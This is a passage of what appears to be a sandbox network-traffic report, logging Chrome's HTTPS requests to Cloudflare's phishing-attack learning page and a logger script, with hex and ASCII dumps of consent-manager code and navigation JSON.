2024-10-18 13:48:07 UTC	1369	IN	Data Raw: 20 41 6c 6c 6f 77 20 41 6c 6c 22 5d 3d 34 5d 3d 22 50 72 65 66 65 72 65 6e 63 65 20 43 65 6e 74 65 72 20 2d 20 41 6c 6c 6f 77 20 41 6c 6c 22 2c 65 5b 65 5b 22 50 72 65 66 65 72 65 6e 63 65 20 43 65 6e 74 65 72 20 2d 20 52 65 6a 65 63 74 20 41 6c 6c 22 5d 3d 35 5d 3d 22 50 72 65 66 65 72 65 6e 63 65 20 43 65 6e 74 65 72 20 2d 20 52 65 6a 65 63 74 20 41 6c 6c 22 2c 65 5b 65 5b 22 50 72 65 66 65 72 65 6e 63 65 20 43 65 6e 74 65 72 20 2d 20 43 6f 6e 66 69 72 6d 22 5d 3d 36 5d 3d 22 50 72 65 66 65 72 65 6e 63 65 20 43 65 6e 74 65 72 20 2d 20 43 6f 6e 66 69 72 6d 22 2c 65 5b 65 5b 22 47 50 43 20 76 61 6c 75 65 20 63 68 61 6e 67 65 64 22 5d 3d 37 5d 3d 22 47 50 43 20 76 61 6c 75 65 20 63 68 61 6e 67 65 64 22 2c 28 65 3d 68 65 3d 68 65 7c 7c 7b 7d 29 2e 41 63 74 Data Ascii: Allow All"]=4]="Preference Center - Allow All",e[e["Preference Center - Reject All"]=5]="Preference Center - Reject All",e[e["Preference Center - Confirm"]=6]="Preference Center - Confirm",e[e["GPC value changed"]=7]="GPC value changed",(e=he=he\|\|{}).Act
2024-10-18 13:48:07 UTC	1369	IN	Data Raw: 73 6f 6e 61 6c 69 7a 61 74 69 6f 6e 22 2c 65 2e 72 65 67 69 6f 6e 3d 22 72 65 67 69 6f 6e 22 2c 65 2e 77 61 69 74 5f 66 6f 72 5f 75 70 64 61 74 65 3d 22 77 61 69 74 5f 66 6f 72 5f 75 70 64 61 74 65 22 2c 28 65 3d 41 65 3d 41 65 7c 7c 7b 7d 29 2e 67 72 61 6e 74 65 64 3d 22 67 72 61 6e 74 65 64 22 2c 65 2e 64 65 6e 69 65 64 3d 22 64 65 6e 69 65 64 22 2c 30 2c 28 65 3d 49 65 3d 49 65 7c 7c 7b 7d 29 2e 4f 42 4a 45 43 54 5f 54 4f 5f 4c 49 3d 22 4f 62 6a 65 63 74 54 6f 4c 49 22 2c 65 2e 4c 49 5f 41 43 54 49 56 45 5f 49 46 5f 4c 45 47 41 4c 5f 42 41 53 49 53 3d 22 4c 49 41 63 74 69 76 65 49 66 4c 65 67 61 6c 42 61 73 69 73 22 2c 28 65 3d 4c 65 3d 4c 65 7c 7c 7b 7d 29 2e 63 6f 6f 6b 69 65 73 3d 22 63 6f 6f 6b 69 65 73 22 2c 65 2e 76 65 6e 64 6f 72 73 3d 22 76 65 Data Ascii: sonalization",e.region="region",e.wait_for_update="wait_for_update",(e=Ae=Ae\|\|{}).granted="granted",e.denied="denied",0,(e=Ie=Ie\|\|{}).OBJECT_TO_LI="ObjectToLI",e.LI_ACTIVE_IF_LEGAL_BASIS="LIActiveIfLegalBasis",(e=Le=Le\|\|{}).cookies="cookies",e.vendors="ve

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
44	192.168.2.8	50727	104.16.123.96	443	4784	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-10-18 13:48:06 UTC	851	OUT	POST /cdn-cgi/rum? HTTP/1.1 Host: www.cloudflare.com Connection: keep-alive Content-Length: 1547 sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-platform: "Windows" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 content-type: application/json Accept: / Origin: https://www.cloudflare.com Sec-Fetch-Site: same-origin Sec-Fetch-Mode: cors Sec-Fetch-Dest: empty Referer: https://www.cloudflare.com/learning/access-management/phishing-attack/ Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9 Cookie: __cf_bm=c.Negr8h6Ze7rn2KazxNJfUCcbsMKl2XewnZvM6chtA-1729259280-1.0.1.1-SbXzfbaXTKC8vRv8u9w3yX3lEiNTekfJPw1yLUmMrNv3xUlrWLPPtvhUdvcJF9jY22pLsPmzrZpXEA9j3SRJXZvaBYrwuNzHi_NJoD4Cppc
2024-10-18 13:48:06 UTC	1547	OUT	Data Raw: 7b 22 6d 65 6d 6f 72 79 22 3a 7b 22 74 6f 74 61 6c 4a 53 48 65 61 70 53 69 7a 65 22 3a 36 31 38 35 38 36 35 2c 22 75 73 65 64 4a 53 48 65 61 70 53 69 7a 65 22 3a 35 36 32 35 33 36 35 2c 22 6a 73 48 65 61 70 53 69 7a 65 4c 69 6d 69 74 22 3a 32 31 37 32 36 34 39 34 37 32 7d 2c 22 72 65 73 6f 75 72 63 65 73 22 3a 5b 5d 2c 22 72 65 66 65 72 72 65 72 22 3a 22 68 74 74 70 73 3a 2f 2f 62 6f 6f 6b 69 6e 67 61 64 6f 63 65 6c 2e 63 6f 6d 2f 22 2c 22 65 76 65 6e 74 54 79 70 65 22 3a 31 2c 22 66 69 72 73 74 50 61 69 6e 74 22 3a 31 36 31 32 2c 22 66 69 72 73 74 43 6f 6e 74 65 6e 74 66 75 6c 50 61 69 6e 74 22 3a 31 36 31 32 2c 22 73 74 61 72 74 54 69 6d 65 22 3a 31 37 32 39 32 35 39 32 37 39 33 37 32 2e 34 2c 22 76 65 72 73 69 6f 6e 73 22 3a 7b 22 66 6c 22 3a 22 32 30 Data Ascii: {"memory":{"totalJSHeapSize":6185865,"usedJSHeapSize":5625365,"jsHeapSizeLimit":2172649472},"resources":[],"referrer":"https://bookingadocel.com/","eventType":1,"firstPaint":1612,"firstContentfulPaint":1612,"startTime":1729259279372.4,"versions":{"fl":"20
2024-10-18 13:48:07 UTC	375	IN	HTTP/1.1 204 No Content Date: Fri, 18 Oct 2024 13:48:07 GMT Connection: close access-control-allow-origin: https://www.cloudflare.com access-control-allow-methods: POST,OPTIONS access-control-max-age: 86400 vary: Origin access-control-allow-credentials: true Server: cloudflare CF-RAY: 8d48fbf00cc92e73-DFW X-Frame-Options: DENY X-Content-Type-Options: nosniff

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
45	192.168.2.8	50729	104.16.123.96	443	4784	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-10-18 13:48:07 UTC	771	OUT	GET /page-data/app-data.json HTTP/1.1 Host: www.cloudflare.com Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 sec-ch-ua-platform: "Windows" Accept: / Sec-Fetch-Site: same-origin Sec-Fetch-Mode: cors Sec-Fetch-Dest: empty Referer: https://www.cloudflare.com/learning/access-management/phishing-attack/ Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9 Cookie: __cf_bm=c.Negr8h6Ze7rn2KazxNJfUCcbsMKl2XewnZvM6chtA-1729259280-1.0.1.1-SbXzfbaXTKC8vRv8u9w3yX3lEiNTekfJPw1yLUmMrNv3xUlrWLPPtvhUdvcJF9jY22pLsPmzrZpXEA9j3SRJXZvaBYrwuNzHi_NJoD4Cppc
2024-10-18 13:48:07 UTC	975	IN	HTTP/1.1 200 OK Date: Fri, 18 Oct 2024 13:48:07 GMT Content-Type: application/json; charset=utf-8 Transfer-Encoding: chunked Connection: close Cache-Control: public, max-age=0, must-revalidate ETag: W/"ec218a277e6b4639d8f80224c4485e35" Strict-Transport-Security: max-age=31536000; includeSubDomains Permissions-Policy: geolocation=(), camera=(), microphone=() Referrer-Policy: strict-origin-when-cross-origin X-Content-Type-Options: nosniff X-Frame-Options: SAMEORIGIN X-GWW-LOC: EN-US X-PGS-LOC: EN-US X-XSS-Protection: 1; mode=block Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=FDuF43XhJdEcTDXSRZJ%2B%2BE%2Fsgut8fIJMDbit1TaBGYFSt7WEW8tJz06qQisfrm5KBKko3y5FJ4TxhmVYnUm1vXmC%2BzNAasDusw5I%2F8vI%2BQv%2BFudl8wuUa%2B%2BOdDalsdi0swZfjg%3D%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8d48fbf12b4e478a-DFW alt-svc: h3=":443"; ma=86400
2024-10-18 13:48:07 UTC	56	IN	Data Raw: 33 32 0d 0a 7b 22 77 65 62 70 61 63 6b 43 6f 6d 70 69 6c 61 74 69 6f 6e 48 61 73 68 22 3a 22 64 39 36 61 30 38 65 35 37 37 39 31 61 66 64 61 63 32 37 65 22 7d 0a 0d 0a Data Ascii: 32{"webpackCompilationHash":"d96a08e57791afdac27e"}
2024-10-18 13:48:07 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
46	192.168.2.8	50728	104.16.123.96	443	4784	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-10-18 13:48:07 UTC	815	OUT	GET /page-data/learning/access-management/phishing-attack/page-data.json HTTP/1.1 Host: www.cloudflare.com Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 sec-ch-ua-platform: "Windows" Accept: / Sec-Fetch-Site: same-origin Sec-Fetch-Mode: cors Sec-Fetch-Dest: empty Referer: https://www.cloudflare.com/learning/access-management/phishing-attack/ Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9 Cookie: __cf_bm=c.Negr8h6Ze7rn2KazxNJfUCcbsMKl2XewnZvM6chtA-1729259280-1.0.1.1-SbXzfbaXTKC8vRv8u9w3yX3lEiNTekfJPw1yLUmMrNv3xUlrWLPPtvhUdvcJF9jY22pLsPmzrZpXEA9j3SRJXZvaBYrwuNzHi_NJoD4Cppc
2024-10-18 13:48:07 UTC	963	IN	HTTP/1.1 200 OK Date: Fri, 18 Oct 2024 13:48:07 GMT Content-Type: application/json; charset=utf-8 Transfer-Encoding: chunked Connection: close Cache-Control: public, max-age=0, must-revalidate ETag: W/"7fdd1938baf8338cec04a73a71a1cf13" Strict-Transport-Security: max-age=31536000; includeSubDomains Permissions-Policy: geolocation=(), camera=(), microphone=() Referrer-Policy: strict-origin-when-cross-origin X-Content-Type-Options: nosniff X-Frame-Options: SAMEORIGIN X-GWW-LOC: EN-US X-PGS-LOC: EN-US X-XSS-Protection: 1; mode=block Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=7KRumkIdS057%2Fl8TqBxIEvMJi5SyQocHr9Bnqg0ssUe5R9vZz9MOHXJJ72XAvDMOtISz7IlwNrrZW1D31ywvEL5GQL%2FbKukPnKFURwaMOnGWqn0Wp8lg2cIrxPESIIp8%2B7rwSg%3D%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8d48fbf13dac3ac6-DFW alt-svc: h3=":443"; ma=86400
2024-10-18 13:48:07 UTC	406	IN	Data Raw: 37 62 65 65 0d 0a 7b 22 63 6f 6d 70 6f 6e 65 6e 74 43 68 75 6e 6b 4e 61 6d 65 22 3a 22 63 6f 6d 70 6f 6e 65 6e 74 2d 2d 2d 73 72 63 2d 63 6f 6d 70 6f 6e 65 6e 74 73 2d 6c 65 61 72 6e 69 6e 67 2d 63 65 6e 74 65 72 2d 74 65 6d 70 6c 61 74 65 73 2d 6c 65 61 72 6e 69 6e 67 2d 63 65 6e 74 65 72 2d 61 72 74 69 63 6c 65 2d 74 65 6d 70 6c 61 74 65 2d 74 73 78 22 2c 22 70 61 74 68 22 3a 22 2f 6c 65 61 72 6e 69 6e 67 2f 61 63 63 65 73 73 2d 6d 61 6e 61 67 65 6d 65 6e 74 2f 70 68 69 73 68 69 6e 67 2d 61 74 74 61 63 6b 2f 22 2c 22 72 65 73 75 6c 74 22 3a 7b 22 64 61 74 61 22 3a 7b 22 68 65 61 64 65 72 44 61 74 61 22 3a 7b 22 63 6f 6e 74 65 6e 74 54 79 70 65 49 64 22 3a 22 6e 61 76 4e 61 76 69 67 61 74 69 6f 6e 47 72 6f 75 70 22 2c 22 63 6f 6e 74 65 6e 74 66 75 6c 49 Data Ascii: 7bee{"componentChunkName":"component---src-components-learning-center-templates-learning-center-article-template-tsx","path":"/learning/access-management/phishing-attack/","result":{"data":{"headerData":{"contentTypeId":"navNavigationGroup","contentfulI
2024-10-18 13:48:07 UTC	1369	IN	Data Raw: 74 69 6f 6e 54 79 70 65 22 3a 22 48 65 61 64 65 72 22 2c 22 69 73 44 65 66 61 75 6c 74 4e 61 76 22 3a 74 72 75 65 2c 22 62 61 63 6b 67 72 6f 75 6e 64 43 6f 6c 6f 72 22 3a 6e 75 6c 6c 2c 22 73 65 63 74 69 6f 6e 50 61 64 64 69 6e 67 22 3a 22 64 65 66 61 75 6c 74 22 2c 22 6e 61 76 69 67 61 74 69 6f 6e 49 74 65 6d 73 22 3a 5b 7b 22 63 6f 6e 74 65 6e 74 54 79 70 65 49 64 22 3a 22 6e 61 76 4e 61 76 69 67 61 74 69 6f 6e 49 74 65 6d 22 2c 22 63 6f 6e 74 65 6e 74 66 75 6c 49 64 22 3a 22 31 44 63 4b 33 33 42 55 45 75 7a 38 52 6c 6f 55 52 4e 4c 65 66 77 22 2c 22 6c 6f 63 61 6c 65 22 3a 22 65 6e 2d 55 53 22 2c 22 6e 61 6d 65 22 3a 22 53 6f 6c 75 74 69 6f 6e 73 22 2c 22 64 65 73 63 72 69 70 74 69 6f 6e 22 3a 6e 75 6c 6c 2c 22 6e 61 76 49 63 6f 6e 22 3a 6e 75 6c 6c 2c Data Ascii: tionType":"Header","isDefaultNav":true,"backgroundColor":null,"sectionPadding":"default","navigationItems":[{"contentTypeId":"navNavigationItem","contentfulId":"1DcK33BUEuz8RloURNLefw","locale":"en-US","name":"Solutions","description":null,"navIcon":null,
2024-10-18 13:48:07 UTC	1369	IN	Data Raw: 67 65 73 22 3a 6e 75 6c 6c 2c 22 73 70 65 63 69 61 6c 4c 69 6e 6b 54 79 70 65 22 3a 6e 75 6c 6c 2c 22 6f 70 65 6e 49 6e 4e 65 77 57 69 6e 64 6f 77 22 3a 66 61 6c 73 65 2c 22 69 73 45 78 74 65 72 6e 61 6c 55 72 6c 22 3a 66 61 6c 73 65 7d 2c 7b 22 63 6f 6e 74 65 6e 74 54 79 70 65 49 64 22 3a 22 65 6c 65 6d 65 6e 74 4e 61 76 4c 69 6e 6b 22 2c 22 63 6f 6e 74 65 6e 74 66 75 6c 49 64 22 3a 22 38 41 4f 43 55 71 68 45 4d 4f 42 74 34 44 51 5a 71 48 6a 63 4b 22 2c 22 6c 6f 63 61 6c 65 22 3a 22 65 6e 2d 55 53 22 2c 22 74 69 74 6c 65 22 3a 22 44 61 74 61 20 63 6f 6d 70 6c 69 61 6e 63 65 20 26 20 70 72 6f 74 65 63 74 69 6f 6e 22 2c 22 64 65 73 63 72 69 70 74 69 6f 6e 22 3a 22 53 74 72 65 61 6d 6c 69 6e 65 20 63 6f 6d 70 6c 69 61 6e 63 65 20 61 6e 64 20 6d 69 6e 69 6d Data Ascii: ges":null,"specialLinkType":null,"openInNewWindow":false,"isExternalUrl":false},{"contentTypeId":"elementNavLink","contentfulId":"8AOCUqhEMOBt4DQZqHjcK","locale":"en-US","title":"Data compliance & protection","description":"Streamline compliance and minim
2024-10-18 13:48:07 UTC	1369	IN	Data Raw: 6f 72 6b 73 22 2c 22 64 65 73 63 72 69 70 74 69 6f 6e 22 3a 22 4e 65 74 77 6f 72 6b 20 73 65 63 75 72 69 74 79 2c 20 70 65 72 66 6f 72 6d 61 6e 63 65 2c 20 26 20 72 65 6c 69 61 62 69 6c 69 74 79 20 6f 6e 20 61 20 67 6c 6f 62 61 6c 20 73 63 61 6c 65 22 2c 22 75 72 6c 22 3a 22 2f 6e 65 74 77 6f 72 6b 2d 73 65 72 76 69 63 65 73 22 2c 22 62 61 64 67 65 73 22 3a 6e 75 6c 6c 2c 22 73 70 65 63 69 61 6c 4c 69 6e 6b 54 79 70 65 22 3a 6e 75 6c 6c 2c 22 6f 70 65 6e 49 6e 4e 65 77 57 69 6e 64 6f 77 22 3a 66 61 6c 73 65 2c 22 69 73 45 78 74 65 72 6e 61 6c 55 72 6c 22 3a 6e 75 6c 6c 7d 2c 7b 22 63 6f 6e 74 65 6e 74 54 79 70 65 49 64 22 3a 22 65 6c 65 6d 65 6e 74 4e 61 76 4c 69 6e 6b 22 2c 22 63 6f 6e 74 65 6e 74 66 75 6c 49 64 22 3a 22 37 36 30 32 52 44 54 70 51 31 70 Data Ascii: orks","description":"Network security, performance, & reliability on a global scale","url":"/network-services","badges":null,"specialLinkType":null,"openInNewWindow":false,"isExternalUrl":null},{"contentTypeId":"elementNavLink","contentfulId":"7602RDTpQ1p
2024-10-18 13:48:07 UTC	1369	IN	Data Raw: 65 6c 65 6d 65 6e 74 4e 61 76 4c 69 6e 6b 22 2c 22 63 6f 6e 74 65 6e 74 66 75 6c 49 64 22 3a 22 31 71 41 73 6d 6b 6a 73 6d 69 42 5a 4b 66 62 73 67 48 47 36 31 38 22 2c 22 6c 6f 63 61 6c 65 22 3a 22 65 6e 2d 55 53 22 2c 22 74 69 74 6c 65 22 3a 22 45 64 75 63 61 74 69 6f 6e 22 2c 22 64 65 73 63 72 69 70 74 69 6f 6e 22 3a 22 46 6f 72 20 61 63 61 64 65 6d 69 63 20 69 6e 73 74 69 74 75 74 69 6f 6e 73 22 2c 22 75 72 6c 22 3a 22 68 74 74 70 73 3a 2f 2f 77 77 77 2e 63 6c 6f 75 64 66 6c 61 72 65 2e 63 6f 6d 2f 65 64 75 63 61 74 69 6f 6e 2f 22 2c 22 62 61 64 67 65 73 22 3a 6e 75 6c 6c 2c 22 73 70 65 63 69 61 6c 4c 69 6e 6b 54 79 70 65 22 3a 6e 75 6c 6c 2c 22 6f 70 65 6e 49 6e 4e 65 77 57 69 6e 64 6f 77 22 3a 66 61 6c 73 65 2c 22 69 73 45 78 74 65 72 6e 61 6c 55 72 Data Ascii: elementNavLink","contentfulId":"1qAsmkjsmiBZKfbsgHG618","locale":"en-US","title":"Education","description":"For academic institutions","url":"https://www.cloudflare.com/education/","badges":null,"specialLinkType":null,"openInNewWindow":false,"isExternalUr
2024-10-18 13:48:07 UTC	1369	IN	Data Raw: 69 6e 6b 54 79 70 65 22 3a 6e 75 6c 6c 2c 22 6f 70 65 6e 49 6e 4e 65 77 57 69 6e 64 6f 77 22 3a 66 61 6c 73 65 2c 22 69 73 45 78 74 65 72 6e 61 6c 55 72 6c 22 3a 6e 75 6c 6c 7d 2c 7b 22 63 6f 6e 74 65 6e 74 54 79 70 65 49 64 22 3a 22 65 6c 65 6d 65 6e 74 4e 61 76 4c 69 6e 6b 22 2c 22 63 6f 6e 74 65 6e 74 66 75 6c 49 64 22 3a 22 35 6d 32 68 77 5a 62 70 79 33 5a 4c 6e 4d 73 38 52 43 43 35 54 39 22 2c 22 6c 6f 63 61 6c 65 22 3a 22 65 6e 2d 55 53 22 2c 22 74 69 74 6c 65 22 3a 22 4e 6f 6e 2d 70 72 6f 66 69 74 22 2c 22 64 65 73 63 72 69 70 74 69 6f 6e 22 3a 22 46 6f 72 20 70 68 69 6c 61 6e 74 68 72 6f 70 69 63 20 6f 72 67 61 6e 69 7a 61 74 69 6f 6e 73 22 2c 22 75 72 6c 22 3a 22 68 74 74 70 73 3a 2f 2f 77 77 77 2e 63 6c 6f 75 64 66 6c 61 72 65 2e 63 6f 6d 2f 67 Data Ascii: inkType":null,"openInNewWindow":false,"isExternalUrl":null},{"contentTypeId":"elementNavLink","contentfulId":"5m2hwZbpy3ZLnMs8RCC5T9","locale":"en-US","title":"Non-profit","description":"For philanthropic organizations","url":"https://www.cloudflare.com/g
2024-10-18 13:48:07 UTC	1369	IN	Data Raw: 2c 22 62 61 64 67 65 73 22 3a 6e 75 6c 6c 2c 22 73 70 65 63 69 61 6c 4c 69 6e 6b 54 79 70 65 22 3a 6e 75 6c 6c 2c 22 6f 70 65 6e 49 6e 4e 65 77 57 69 6e 64 6f 77 22 3a 74 72 75 65 2c 22 69 73 45 78 74 65 72 6e 61 6c 55 72 6c 22 3a 6e 75 6c 6c 7d 2c 7b 22 63 6f 6e 74 65 6e 74 54 79 70 65 49 64 22 3a 22 65 6c 65 6d 65 6e 74 4e 61 76 4c 69 6e 6b 22 2c 22 63 6f 6e 74 65 6e 74 66 75 6c 49 64 22 3a 22 36 73 39 6d 67 57 49 79 46 4f 45 36 74 51 6c 68 39 46 56 38 50 4a 22 2c 22 6c 6f 63 61 6c 65 22 3a 22 65 6e 2d 55 53 22 2c 22 74 69 74 6c 65 22 3a 22 41 74 68 65 6e 69 61 6e 20 50 72 6f 6a 65 63 74 22 2c 22 64 65 73 63 72 69 70 74 69 6f 6e 22 3a 22 46 6f 72 20 68 75 6d 61 6e 69 74 61 72 69 61 6e 20 6f 72 67 61 6e 69 7a 61 74 69 6f 6e 73 22 2c 22 75 72 6c 22 3a 22 Data Ascii: ,"badges":null,"specialLinkType":null,"openInNewWindow":true,"isExternalUrl":null},{"contentTypeId":"elementNavLink","contentfulId":"6s9mgWIyFOE6tQlh9FV8PJ","locale":"en-US","title":"Athenian Project","description":"For humanitarian organizations","url":"
2024-10-18 13:48:07 UTC	1369	IN	Data Raw: 74 69 6f 6e 49 74 65 6d 73 22 3a 5b 5d 7d 5d 2c 22 6d 61 69 6e 4c 69 6e 6b 22 3a 6e 75 6c 6c 2c 22 6e 61 76 69 67 61 74 69 6f 6e 4c 69 6e 6b 73 22 3a 5b 7b 22 63 6f 6e 74 65 6e 74 54 79 70 65 49 64 22 3a 22 65 6c 65 6d 65 6e 74 4e 61 76 4c 69 6e 6b 22 2c 22 63 6f 6e 74 65 6e 74 66 75 6c 49 64 22 3a 22 31 5a 6b 31 43 37 54 70 33 53 45 6a 52 41 59 49 5a 64 5a 39 37 70 22 2c 22 6c 6f 63 61 6c 65 22 3a 22 65 6e 2d 55 53 22 2c 22 74 69 74 6c 65 22 3a 22 43 6f 6e 74 61 63 74 20 73 61 6c 65 73 22 2c 22 64 65 73 63 72 69 70 74 69 6f 6e 22 3a 6e 75 6c 6c 2c 22 75 72 6c 22 3a 22 2f 70 6c 61 6e 73 2f 65 6e 74 65 72 70 72 69 73 65 2f 63 6f 6e 74 61 63 74 2f 22 2c 22 62 61 64 67 65 73 22 3a 6e 75 6c 6c 2c 22 73 70 65 63 69 61 6c 4c 69 6e 6b 54 79 70 65 22 3a 22 43 54 Data Ascii: tionItems":[]}],"mainLink":null,"navigationLinks":[{"contentTypeId":"elementNavLink","contentfulId":"1Zk1C7Tp3SEjRAYIZdZ97p","locale":"en-US","title":"Contact sales","description":null,"url":"/plans/enterprise/contact/","badges":null,"specialLinkType":"CT
2024-10-18 13:48:07 UTC	1369	IN	Data Raw: 6e 4e 65 77 57 69 6e 64 6f 77 22 3a 66 61 6c 73 65 2c 22 69 73 45 78 74 65 72 6e 61 6c 55 72 6c 22 3a 6e 75 6c 6c 7d 5d 2c 22 6e 61 76 49 63 6f 6e 22 3a 6e 75 6c 6c 2c 22 73 68 6f 77 49 63 6f 6e 4f 6e 6c 79 22 3a 66 61 6c 73 65 2c 22 68 69 64 65 4f 6e 43 68 69 6e 61 53 69 74 65 22 3a 66 61 6c 73 65 2c 22 6e 61 76 69 67 61 74 69 6f 6e 49 74 65 6d 73 22 3a 5b 5d 7d 2c 7b 22 63 6f 6e 74 65 6e 74 54 79 70 65 49 64 22 3a 22 6e 61 76 4e 61 76 69 67 61 74 69 6f 6e 49 74 65 6d 22 2c 22 63 6f 6e 74 65 6e 74 66 75 6c 49 64 22 3a 22 36 67 46 47 72 74 51 44 57 6a 6c 54 33 65 5a 48 7a 63 62 36 67 31 22 2c 22 6c 6f 63 61 6c 65 22 3a 22 65 6e 2d 55 53 22 2c 22 6e 61 6d 65 22 3a 22 46 6f 72 20 61 70 70 73 20 61 6e 64 20 69 6e 66 72 61 73 74 72 75 63 74 75 72 65 22 2c 22 Data Ascii: nNewWindow":false,"isExternalUrl":null}],"navIcon":null,"showIconOnly":false,"hideOnChinaSite":false,"navigationItems":[]},{"contentTypeId":"navNavigationItem","contentfulId":"6gFGrtQDWjlT3eZHzcb6g1","locale":"en-US","name":"For apps and infrastructure","
2024-10-18 13:48:07 UTC	1369	IN	Data Raw: 3a 22 65 6e 2d 55 53 22 2c 22 74 69 74 6c 65 22 3a 22 44 65 76 65 6c 6f 70 65 72 20 70 6c 61 74 66 6f 72 6d 22 2c 22 64 65 73 63 72 69 70 74 69 6f 6e 22 3a 22 42 75 69 6c 64 20 61 6e 64 20 64 65 70 6c 6f 79 20 73 65 72 76 65 72 6c 65 73 73 20 61 70 70 6c 69 63 61 74 69 6f 6e 73 20 77 69 74 68 20 73 63 61 6c 65 2c 20 70 65 72 66 6f 72 6d 61 6e 63 65 2c 20 73 65 63 75 72 69 74 79 2c 20 61 6e 64 20 72 65 6c 69 61 62 69 6c 69 74 79 22 2c 22 75 72 6c 22 3a 22 2f 64 65 76 65 6c 6f 70 65 72 2d 70 6c 61 74 66 6f 72 6d 2f 70 72 6f 64 75 63 74 73 2f 22 2c 22 62 61 64 67 65 73 22 3a 6e 75 6c 6c 2c 22 73 70 65 63 69 61 6c 4c 69 6e 6b 54 79 70 65 22 3a 6e 75 6c 6c 2c 22 6f 70 65 6e 49 6e 4e 65 77 57 69 6e 64 6f 77 22 3a 66 61 6c 73 65 2c 22 69 73 45 78 74 65 72 6e 61 Data Ascii: :"en-US","title":"Developer platform","description":"Build and deploy serverless applications with scale, performance, security, and reliability","url":"/developer-platform/products/","badges":null,"specialLinkType":null,"openInNewWindow":false,"isExterna

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
47	192.168.2.8	50731	188.114.96.3	443	4784	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-10-18 13:48:07 UTC	536	OUT	GET /logger-1.min.js HTTP/1.1 Host: cdn.logr-ingest.com Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 sec-ch-ua-platform: "Windows" Accept: / Sec-Fetch-Site: cross-site Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: script Referer: https://www.cloudflare.com/ Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2024-10-18 13:48:07 UTC	1022	IN	HTTP/1.1 200 OK Date: Fri, 18 Oct 2024 13:48:07 GMT Content-Type: text/javascript; charset=utf-8 Transfer-Encoding: chunked Connection: close access-control-allow-origin: * Cache-Control: public, max-age=14400 cross-origin-resource-policy: cross-origin etag: W/"3eb9fc24cd133b1d6cb0c9dd5068c6d53335a8082ce179739e4294dd6f1eb026-br" last-modified: Thu, 17 Oct 2024 22:23:31 GMT strict-transport-security: max-age=31556926 x-served-by: cache-dfw-kdfw8210125-DFW x-cache: HIT x-cache-hits: 1 x-timer: S1729204084.063789,VS0,VE1 vary: x-fh-requested-host, accept-encoding alt-svc: h3=":443"; ma=86400 CF-Cache-Status: HIT Age: 117 Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=kYAFJigV23%2BEACYkgSW22Ak9gZxig4XpCIwqm7o5d8RDKHFEiCOFHSBMmYgmUy3gi4mMAj2ISQUOtiTH8Ska9MDiLILrOequuQcDxx0rlYtFbycGFhsgSnzuIhAq7Rdzei7de%2BdO"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8d48fbf4f875a91e-DFW
2024-10-18 13:48:07 UTC	347	IN	Data Raw: 37 62 36 62 0d 0a 21 66 75 6e 63 74 69 6f 6e 28 29 7b 76 61 72 20 65 3d 7b 32 37 30 36 3a 66 75 6e 63 74 69 6f 6e 28 65 2c 74 2c 72 29 7b 22 75 73 65 20 73 74 72 69 63 74 22 3b 76 61 72 20 6e 3d 72 28 34 38 33 36 29 3b 4f 62 6a 65 63 74 2e 64 65 66 69 6e 65 50 72 6f 70 65 72 74 79 28 74 2c 22 5f 5f 65 73 4d 6f 64 75 6c 65 22 2c 7b 76 61 6c 75 65 3a 21 30 7d 29 2c 74 2e 65 6e 63 6f 64 65 3d 66 75 6e 63 74 69 6f 6e 28 65 29 7b 72 65 74 75 72 6e 20 4a 53 4f 4e 2e 73 74 72 69 6e 67 69 66 79 28 70 28 65 29 29 7d 2c 74 2e 65 6e 63 6f 64 65 41 73 54 61 62 6c 65 3d 66 75 6e 63 74 69 6f 6e 28 65 29 7b 72 65 74 75 72 6e 20 70 28 65 29 7d 2c 74 2e 64 65 63 6f 64 65 3d 66 75 6e 63 74 69 6f 6e 28 65 29 7b 72 65 74 75 72 6e 20 66 75 6e 63 74 69 6f 6e 28 65 29 7b 69 66 Data Ascii: 7b6b!function(){var 